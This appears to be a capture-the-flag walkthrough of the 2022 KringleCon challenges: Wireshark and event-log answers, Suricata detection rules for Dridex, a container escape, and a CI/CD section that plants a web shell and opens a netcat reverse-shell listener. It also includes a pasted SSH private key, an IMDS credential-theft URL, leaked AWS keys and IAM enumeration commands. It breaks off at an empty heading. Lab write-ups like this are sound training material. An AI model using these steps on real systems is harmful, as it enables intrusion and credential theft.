D. Burke

TechnoSavage

View on GitHub

Tolkien Ring

Elfen Ring

Web Ring

Cloud Ring

Burning Ring of Fire

Tolkien Ring

Wireshark Practice

Wireshark Practice

What kind of objects can we export?

Answer: http

What is the name of the largest object?

Answer: app.php

What packet does it start at?

Answer: packet 687

What is the IP of the apache server?

filter:

http

Answer: 192.185.57.242

What file is saved to the affected host?

Answer: Ref_Sept24-2020.zip

What are the bad TLS cert country codes?

filter:

ip.addr==10.9.24.101 && x509sat.CountryName

Answer: Ireland, Israel, South Sudan, United States

Is the host infected?

Answer: yes

Windows Event Logs:

Windows Event Logs

What date did the attack take place?

Answer: 12/24/2022

An attacker got a secret from a file; what was the file’s original name?

Answer: Recipe (4103 6:00:58)

the contents of the file were copied, modified, and stored to a variable multiple times, what is the last full powershell line where this was done?

Answer: $foo = Get-Content .\Recipe| % {$_ -replace 'honey', 'fish oil'}

Command that wrote variable to the file, what was the command?

Answer: $foo | Add-Content -Path 'Recipe'

The attacker ran this command against a file multiple times, what was the name of the file?

Answer: recipe.txt

Were any files deleted?

Answer: Yes

Was the original file deleted?

Answer: No

What is the event ID that showed the command being executed?

Answer: 4104

Was the secret ingredient compromised?

Answer: Yes

What was the secret ingredient?

Answer: honey

Suricata Regatta:

Suricata Regatta

Block DNS lookup of adv.epostoday.uk, alert “Known bad DNS lookup, possible Dridex infection”

drop dns $HOME_NET any -> any any (msg:"Known bad DNS lookup, possible Dridex infection"; dns.query; content:"epostoday.uk"; nocase; sid:68768689; rev:1;)

alerts whenever the infected IP address 192.185.57.242 communicates with internal systems over HTTP. When there’s a match, the message (msg) should read Investigate suspicious connections, possible Dridex infection

alert http $HOME_NET any <> any any (msg:"Investigate suspicious connections, possible Dridex infection"; sid:68768690; rev:1;)

naughty actors are using TLS certificates with a specific CN…alert on an SSL certificate for heardbellith.Icanwepeh.nagoya.,…the message (msg) should read Investigate bad certificates, possible Dridex infection

alert tls $HOME_NET any <> any any (msg:"Investigate bad certificates, possible Dridex infection"; content:"heardbellith.Icanwepeh.nagoya"; nocase; sid:68768691; rev:1;)

one line from the JavaScript: let byteCharacters = atob…that string might be GZip compressed…alert on that HTTP data with message Suspicious JavaScript function, possible Dridex infection

alert http $HOME_NET any <> any any (msg:"Suspicious JavaScript function, possible Dridex infection"; http.response_body; content:"let byteCharacters = atob"; sid:68768692; rev:1;)

Elfen Ring

Git clone repo:

Git Clone repo

cd aws_scripts && cat README.md
    
runtoanswer maintainers

Prison Escape:

Prison Escape

sudo -s
cd /mnt && mkdir breakout
mount /dev/vda breakout
cd /breakout/home/jailer/.ssh
cat jail.key.priv

Flag: one step closer 082bb339ec19de4935867

Jolly CI/CD:

Jolly CI/CD

mkdir web shell
cd web && git clone http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git
cd wordpress.flag.internal
git log
git checkout abdea0ebb21b156c01f7533cea3b895c26198c98
ls -lah
cp -r .ssh ~/.ssh

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZWQyNTUxOQAAACD+wLHSOxzr5OKYjnMC2Xw6LT6gY9rQ6vTQXU1JG2Qa4gAAAJiQFTn3kBU59wAAAAtzc2gtZWQyNTUxOQAAACD+wLHSOxzr5OKYjnMC2Xw6LT6gY9rQ6vTQXU1JG2Qa4gAAAEBL0qH+iiHi9Khw6QtD6+DHwFwYc50cwR0HjNsfOVXOcv7AsdI7HOvk4piOcwLZfDotPqBj2tDq9NBdTUkbZBriAAAAFHNwb3J4QGtyaW5nbGVjb24uY29tAQ==
-----END OPENSSH PRIVATE KEY-----

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP7AsdI7HOvk4piOcwLZfDotPqBj2tDq9NBdTUkbZBri sporx@kringlecon.com

cd && chmod 700 .ssh && cd .ssh

touch known_hosts && mv .deploy deploy && mv .deploy.pub deploy.pub
    
chmod 600 deploy && chmod 644 deploy.pub && cd ~/shell
    
eval $(ssh-agent -s)
    
ssh-add ~/.ssh/deploy
    
ssh -Tvvvv git@gitlab.flags.net.internal
    
git clone git@gitlab.flag.net.internal:rings-of-powder/wordpress.flag.net.internal.git
mv wp-login.php wp-login.php.old

mv shell.php wp-login.php

git config user.email sporx@kringlecon.com

git config user.name knee-oh

git add *

git commit -m '.'

git push
nc -lvnp 4444 &

curl http://wordpress.flag.net.internal/wp-login.php
cat flag.txt

Flag: oI40zIuCcN8c3MhKgQjOMN8lfYtVqcKT

Web Ring

Boria Artifacts Challenges

Boria Artifacts

Naughty IP:

Answer: 18.222.86.32

Credential Mining:

Filter:

ip.src==18.222.86.32 && http.request.method==POST

or

ip.src==18.222.86.32 && http.request.uri contains login

first login username: Alice

404 FTW:

first successful url:

filter:

ip.src==18.222.86.32 && http.request.method==GET || ip.dst==18.222.86.32 && !http.response.code==404 

or

ip.src==18.222.86.32 && http.request.method==GET || ip.dst==18.222.86.32 && http.response.code==200 

Answer: /proc

IMDS, XXE, and Other Abbreviations:

filter:

ip.src==18.222.86.32 && http.request.method==POST && http.request.uri contains proc || ip.dst==18.222.86.32 && http.response.code==200

Answer: http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

Open Boria Mine Door:

Open Boria Mine Door

Lock 1:

@&@&&W&&W&&&& 

or same as lock 2

Lock 2:

<span style="font-size:180px"><strong>WWWW</span><svg width="200" height="200"><rect width="100%" height="100%" fill="white" /></svg>

Lock 3:

<svg width="200" height="200"><rect width="100%" height="100%" fill="blue" /></svg>

Lock 4:

<svg width="200" height="200"><rect x="0" y="0" width="100%" height="100%" fill="white" /><rect x="0" y="100" width="100%" height="100%" fill="blue" /></svg>

Lock 5:

<svg width="200" height="200"><rect x="0" y="0" width="100%" height="100%" fill="red" /><rect x="25" y="80" width="100%" height="100%" fill="blue" /></svg>

Lock 6:

<svg width="200" height="200"><rect x="0" y="0" width="100%" height="100%" fill="lime" /><rect x="0" y="50" width="100%" height="100%" fill="red" /><rect x="0" y="115" width="100%" height="100%" fill="blue" /></svg>

Cloud Ring

AWS CLI Intro:

AWS CLI Intro

access help:

aws help

add credentials:

aws configure

enter settings

get caller identity: aws sts get-caller-identity
    
{
"UserId": "AKQAAYRKO7A5Q5XUY2IY",
"Account": "602143214321",
"Arn": "arn:aws:iam::602143214321:user/elf_helpdesk"
}

Trufflehog Search

trufflehog https://haugfactory.com/orcadmin/aws_scripts

Reason: High Entropy
Date: 2022-09-06 16:10:48
Hash: 422708564ef952ff28ce719ab6dc15002fa84a6e
Filepath: put_policy.py
Branch: origin/main
Commit: added
            
@@ -1,15 +0,0 @@
-import boto3
-import json
-
-
-iam = boto3.client('iam',
-    region_name='us-east-1',
-    aws_access_key_id="AIDAYRANYAHGQOHD7OUSS",
-    aws_secret_access_key="e95qToloszIgO9dNBsQMQsc5/foiPdKunPJwc1rL",
-)
-# arn:aws:ec2:us-east-1:accountid:instance/*
-response = iam.put_user_policy(
-    PolicyDocument='{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["ssm:SendCommand"],"Resource":["arn:aws:ec2:us-east-1:748127089694:instance/i-0415bfb7dcfe279c5","arn:aws:ec2:us-east-1:748127089694:document/RestartServices"]}]}',
-    PolicyName='AllAccessPolicy',
-    UserName='elf_test',
-)

Answer: put_policy.py

Exploitation via AWS CLI:

Exploitation via AWS CLI

trufflehog https://haugfactory.com/asnowball/aws_scripts.git 
Reason: High Entropy
Date: 2022-09-07 10:53:32
Hash: 3476397f95da11a776d4118f1f9ae6c9d4afd0c9
Filepath: put_policy.py
Branch: origin/main
Commit: added

@@ -4,8 +4,8 @@ import json

iam = boto3.client('iam',
    region_name='us-east-1',
-    aws_access_key_id=ACCESSKEYID,
-    aws_secret_access_key=SECRETACCESSKEY,
+    aws_access_key_id="AKIAAIDAYRANYAHGQOHD",
+    aws_secret_access_key="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",
)
# arn:aws:ec2:us-east-1:accountid:instance/*
response = iam.put_user_policy(

aws configure (enter settings)

aws sts get-caller-identity

{
    "UserId": "AIDAJNIAAQYHIAAHDDRA",
    "Account": "602123424321",
    "Arn": "arn:aws:iam::602123424321:user/haug"
}

find attached user policies:

aws iam list-attached-user-policies --user-name haug

{
    "AttachedPolicies": [
        {
            "PolicyName": "TIER1_READONLY_POLICY",
            "PolicyArn": "arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY"
        }
    ],
    "IsTruncated": false
}

get attached user policies:

aws iam get-policy --user-name haug --policy-name TIER1_READONLY_POLICY --policy-arn arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY

{
    "Policy": {
        "PolicyName": "TIER1_READONLY_POLICY",
        "PolicyId": "ANPAYYOROBUERT7TGKUHA",
        "Arn": "arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY",
        "Path": "/",
        "DefaultVersionId": "v1",
        "AttachmentCount": 11,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "Description": "Policy for tier 1 accounts to have limited read only access to certain resources in IAM, S3, and LAMBDA.",
        "CreateDate": "2022-06-21 22:02:30+00:00",
        "UpdateDate": "2022-06-21 22:10:29+00:00",
        "Tags": []
    }
}

view default version:

aws iam get-policy-version --policy-name TIER1_READONLY_POLICY --policy-arn arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY --version-id v1

view inline policies for user

aws iam list-user-policies --user-name haug
{
    "PolicyNames": [
        "S3Perms"
    ],
    "IsTruncated": false
}

Get inline policy

aws iam get-user-policy --policy-name S3Perms --user-name haug

list bucket objects

aws s3api list-objects --bucket smogmachines3

list lambda functions

aws lambda list-functions

get public URL of lambda

aws lambda get-function-url-config --function-name  smogmachine_lambda

Burning Ring of Fire

Buy a hat:

Blockchain Divination:

Blockchain Divination

What is the address of KringleCoin smart contract?

Answer: 0xc27A2D3DE339Ce353c0eFBa32e948a88F1C86554

Exploit a smart contract: